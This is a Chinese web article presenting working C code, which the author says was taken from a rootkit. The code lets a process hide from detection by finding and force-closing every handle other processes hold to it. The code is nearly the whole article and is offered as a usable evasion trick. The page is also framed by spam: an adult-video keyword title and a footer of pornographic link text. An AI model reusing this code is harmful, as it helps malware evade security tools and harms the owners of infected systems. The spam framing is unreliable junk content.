成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

抹掉所有進程中自己的句柄

安全 黑客攻防
之前聽過一個檢測進程的想法,就是暴力枚舉所有進程中的handle,查找其中類型為PROCESS的. 此法也被爐子牛用于他的LzOpenProcess(). 下面我就寫了一斷代碼來對抗這個方法,純屬小伎倆,牛牛們飄過~

抹掉所有進程中自己的句柄

之前聽過一個檢測進程的想法,就是暴力枚舉所有進程中的handle,查找其中類型為PROCESS的.

此法也被爐子牛用于他的LzOpenProcess().

下面我就寫了一斷代碼來對抗這個方法,純屬小伎倆,牛牛們飄過~

嚴格說,此段代碼不算原創,是從某rootkit的bin中扒出來的,因此基本保留其原貌,經我修改測試,主要函數如下:
 

void CloseAllmyHandles() 
{ 
   
  HANDLE hCurProcess,hSouceProcessHandle,hTargetHandle; 
  HANDLE hMyProcess=INVALID_HANDLE_VALUE,hMyThread=INVALID_HANDLE_VALUE; 
  DWORD pid,nBufferLen=0x40000,nRetnLen=0; 
  DWORD HandleCnt,NumberOfHandles; 
  DWORD pMyProcessObject = 0,pMyThreadObject = 0,pObject; 
  CLIENT_ID myCid,tmpCid; 
  PVOID pBuffer = NULL; 
  NTSTATUS status; 
  OBJECT_ATTRIBUTES  ObjectAttributes; 
  myCid.UniqueProcess =(HANDLE)my_GetProcessId(); 
  myCid.UniqueThread=(HANDLE)my_GetThreadId(); 
  InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL ); 
  ZwOpenProcess(&hMyProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid); 
  ZwOpenThread(&hMyThread, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid); 
  printf("hMyProcess:0x%08x\n",hMyProcess); 
  printf("hMyThread :0x%08x\n",hMyThread); 
  hCurProcess = GetCurrentProcess(); 
  status=ZwAllocateVirtualMemory(hCurProcess, &pBuffer, 0, &nBufferLen, MEM_COMMIT,PAGE_READWRITE); 
  if (!NT_SUCCESS(status)) 
  { 
    printf("Alloc Memory failed.\n"); 
    return; 
  } 
  printf("Alloced Buffer:0x%08X\n",pBuffer); 
  ZwQuerySystemInformation(SystemHandleInformation, pBuffer, nBufferLen, &nRetnLen);// 16=SystemHandleInformation 
  printf("Searching handles...\n"); 
  HandleCnt=*(DWORD *)pBuffer; 
  printf("Handle Count:%d\n",HandleCnt); 
  if (HandleCnt>1) 
  { 
    NumberOfHandles=*(DWORD*)pBuffer; 
    pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); 
    do 
    {                                                 
      //printf("HandleValue:0x%08X\n",pHandleInfo->HandleValue); 
      if ( pHandleInfo->HandleValue==(USHORT)hMyThread ) 
    { 
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess ) 
        { 
          pMyThreadObject = *(DWORD*)&(pHandleInfo->Object); 
          printf("Thread  finded\n"); 
        } 
      } 
      if (pHandleInfo->HandleValue==(USHORT)hMyProcess ) 
      { 
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess) 
        { 
          pMyProcessObject =*(DWORD*)&(pHandleInfo->Object); 
          printf("Process finded\n"); 
        } 
      } 
      ++pHandleInfo; 
      --NumberOfHandles; 
     
    } 
    while ( NumberOfHandles ); 
  } 
  ZwClose(hMyThread); 
  ZwClose(hMyProcess); 
  printf("Found my object ok.\nBegin Search and Close...\n"); 
  NumberOfHandles=HandleCnt; 
  if (HandleCnt>=1 ) 
  { 
  pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); 
    do 
    { 
      pObject = *(DWORD*)&(pHandleInfo->Object); 
     
      if ( pMyProcessObject == pObject || pMyThreadObject == pObject ) 
      { 
        printf("Found Handle=0x%08X OwnerPID=%4d\n",pHandleInfo->HandleValue,pHandleInfo->UniqueProcessId); 
      tmpCid.UniqueProcess= (HANDLE)pHandleInfo->UniqueProcessId; 
      tmpCid.UniqueThread=0; 
      InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL ); 
      status=ZwOpenProcess(&hSouceProcessHandle, PROCESS_DUP_HANDLE, &ObjectAttributes, &tmpCid); 
        //PrintZwError("ZwOpenProcess",status); 
        if (!status) 
        { 
    status=ZwDuplicateObject( 
            hSouceProcessHandle, 
            (void*)pHandleInfo->HandleValue, 
            hCurProcess, 
            &hTargetHandle, 
            0, 
            0, 
                DUPLICATE_CLOSE_SOURCE); 

  if ( !status) 
          { 
            ZwClose(hTargetHandle); 
            printf("Handle closed!\n"); 
          } 
      //PrintZwError("ZwDuplicateObject",status); 
          ZwClose(hSouceProcessHandle); 
        } 
      } 
      ++pHandleInfo; 
      --NumberOfHandles; 
    } 
    while ( NumberOfHandles ); 
  } 
  ZwFreeVirtualMemory(hCurProcess, &pBuffer, &nBufferLen, MEM_RELEASE); 
}

【編輯推薦】

  1. 如何從異常系統進程檢查企業網絡安全
  2. 系統安全之利用操作系統自帶命令殺毒
  3. 巧妙從進程中判斷病毒木馬
責任編輯:安泉 來源: 黑客防線
相關推薦

2011-03-07 17:52:51

2022-04-15 10:37:00

權限進程UAC

2011-01-26 13:26:32

Linux進程

2022-02-09 09:46:15

BRATA惡意程安卓

2021-10-26 10:42:49

NET進程托管

2023-07-03 07:27:41

進程線程Win32

2015-03-24 13:52:36

slay

2010-06-28 14:52:30

cron進程

2016-10-28 21:30:00

AndroidJava進程

2024-05-23 08:24:11

Android進程開發

2020-11-17 06:52:51

架構數據庫存儲

2020-09-07 07:00:09

AI 數據人工智能

2009-12-25 10:48:23

ps -aux

2010-03-31 14:36:50

Oracle進程結構

2021-10-14 07:42:25

蘋果藍牙Bug

2021-09-06 14:37:19

軟件開發 技術

2013-12-02 17:33:20

Linux進程多線程

2009-06-11 11:44:15

工具庫Java

2023-02-13 11:26:03

符號鏈接Linux

2016-10-17 14:09:34

原始數據大數據大數據交易
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 免费视频二区 | 一级毛片免费完整视频 | 久草.com | 亚洲综合日韩精品欧美综合区 | 国产人成精品一区二区三 | 精品精品 | 亚洲视频一区在线 | 国产成人综合久久 | 在线播放一区二区三区 | 在线一区二区三区 | 拍戏被cao翻了h承欢 | 日韩一区二区三区av | 91免费在线 | 综合久久综合久久 | 欧美久久久久久 | 亚洲精彩视频在线观看 | 久久久不卡网国产精品一区 | 国产精品美女www爽爽爽视频 | japanhd美女动 | 欧美日韩福利 | 97超碰成人 | 一区二区三区四区毛片 | 日韩亚洲一区二区 | 国产欧美精品一区二区色综合朱莉 | 国产女人与拘做视频免费 | 日本中出视频 | 国产激情一区二区三区 | 午夜精品一区二区三区免费视频 | 亚洲成人精品国产 | 日韩欧美理论片 | 欧美不卡视频一区发布 | h视频在线免费 | 日本中出视频 | 一区二区在线不卡 | 一区二区三区国产精品 | a视频在线观看 | 亚洲精品一区中文字幕 | 亚洲一区在线观看视频 | 国产精品久久久久免费 | 亚洲精品久久 | 色婷婷影院|